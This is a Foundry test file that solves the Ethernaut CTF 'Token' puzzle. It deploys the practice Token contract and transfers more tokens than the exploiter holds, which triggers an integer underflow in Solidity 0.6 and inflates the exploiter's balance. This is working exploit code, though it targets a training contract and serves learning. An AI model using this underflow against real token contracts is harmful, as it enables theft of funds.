TokenExploit.t.sol

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;

// Fix the following compiler error (specific to 0.6.x)
// Error: Unimplemented feature (/Users/distiller/project/libsolidity/codegen/CompilerUtils.cpp:420):Encoding type "struct StdInvariant.FuzzInterface memory[] memory" not yet implemented.
// UnimplementedFeatureError: Encoding type "struct StdInvariant.FuzzInterface memory[] memory" not yet implemented.
// - https://github.com/leovct/puzzl3s/issues/25
// - https://github.com/foundry-rs/foundry/issues/4376
pragma experimental ABIEncoderV2;

import '../../src/EthernautCTF/Token.sol';
import '@forge-std/Test.sol';
import '@forge-std/console.sol';

contract TokenExploit is Test {
  Token target;
  address deployer = makeAddr('deployer');
  address exploiter = makeAddr('exploiter');

  function setUp() public {
    vm.startPrank(deployer);
    target = new Token(10000);
    console.log('Target contract deployed');

    assertTrue(target.transfer(exploiter, 20));
    console.log('20 tokens given to exploiter');
    vm.stopPrank();
  }

  function testExploit() public {
    uint256 balance = target.balanceOf(exploiter);
    console.log('Balance: %d', balance);
    assertEq(balance, 20);

    vm.startPrank(exploiter);
    assertTrue(target.transfer(address(0x0), 21));
    vm.stopPrank();

    balance = target.balanceOf(exploiter);
    console.log('Balance: %d', balance);
    assertTrue(balance >= 10000);
  }
}